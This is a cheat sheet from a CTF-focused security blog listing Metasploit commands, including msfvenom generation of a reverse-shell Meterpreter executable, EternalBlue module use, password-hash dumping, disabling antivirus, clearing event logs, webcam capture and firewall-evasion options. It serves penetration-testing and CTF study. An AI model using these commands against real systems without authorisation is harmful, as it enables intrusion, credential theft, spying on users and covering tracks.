Press ESC to close

Parrot CTFs Blog Offensive Security Topics & Cyber Security News

Metasploit Cheat Sheet

Starting Metasploit

CommandDescription
msfconsoleStart Metasploit Framework
msfupdateUpdate the Metasploit Framework
msfdRun the Metasploit Daemon
msfvenomStandalone payload generator

Basic Commands

CommandDescription
search <keyword>Search for modules using a keyword
use <module>Select a module (e.g., use exploit/windows/smb/ms17_010_eternalblue)
info <module>Show information about a specific module
show optionsDisplay the module’s configurable options
set <option> <value>Set a specific option for the module
unset <option>Unset an option (remove its value)
show payloadsList available payloads for the selected exploit
show targetsShow possible target systems for the selected exploit
set TARGET <id>Set the specific target for the exploit
checkVerify if the target is vulnerable to the selected exploit
exploitLaunch the selected exploit
runExecute the current module (alias for exploit)

Payloads and Exploit Execution

CommandDescription
set PAYLOAD <payload>Set the payload for the exploit (e.g., set PAYLOAD windows/meterpreter/reverse_tcp)
set LHOST <IP>Set the local host (attacker’s IP address)
set LPORT <port>Set the local port for the reverse connection
set RHOST <IP>Set the remote host (target IP)
set RPORT <port>Set the remote port for the target service
jobsList all running jobs
jobs -KKill all running jobs
sessionsList all active sessions
sessions -i <id>Interact with a specific session
exit -yExit Metasploit framework

Meterpreter Commands

CommandDescription
backgroundMove the current session to the background
sysinfoDisplay system information of the compromised host
getuidGet the user ID of the session
getsystemAttempt to elevate privileges
hashdumpDump password hashes from the target
screenshotTake a screenshot of the target’s desktop
webcam_snapTake a snapshot using the target’s webcam
shellDrop into a command shell on the target
download <file>Download a file from the target
upload <file>Upload a file to the target
clearevClear the target’s event logs
exitExit the Meterpreter session

Generating Payloads with MSFVenom

CommandDescription
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> -o <output file>Generate a payload (e.g., msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe)
msfvenom --list payloadsList all available payloads
msfvenom --list formatsList all available output formats
msfvenom --list encodersList available encoders

Post-Exploitation Modules

CommandDescription
use post/windows/gather/credentials/enum_hashdumpUse post-exploitation module for dumping credentials
use post/windows/manage/killavDisable antivirus software on the target
use post/multi/manage/autorouteAdd routes to compromised networks
run post/windows/gather/checkvmCheck if the target is a virtual machine

Auxiliary Modules

CommandDescription
use auxiliary/scanner/portscan/tcpUse the TCP port scanner module
use auxiliary/scanner/ftp/ftp_versionFTP version detection scanner
use auxiliary/scanner/http/http_versionHTTP version detection scanner
use auxiliary/scanner/smb/smb_versionSMB version detection scanner

Database Management

CommandDescription
db_statusCheck the status of the database
workspace <name>Switch between Metasploit workspaces
hostsList all discovered hosts
servicesList all discovered services
vulnsList all known vulnerabilities
lootList all collected loot

Bypassing Firewalls & IDS/IPS

CommandDescription
setg LHOST <IP>Set global LHOST value
setg LPORT <port>Set global LPORT value
set PayloadUUIDTracking trueEnable UUID tracking for the payload
set AutoRunScript <script>Automatically run a script when a session opens
set ReverseAllowProxy trueEnable reverse connections through proxies

parrotassassin15

Founder of @ Parrot CTFs & Senior Cyber Security Consultant

Leave a Reply

Your email address will not be published. Required fields are marked *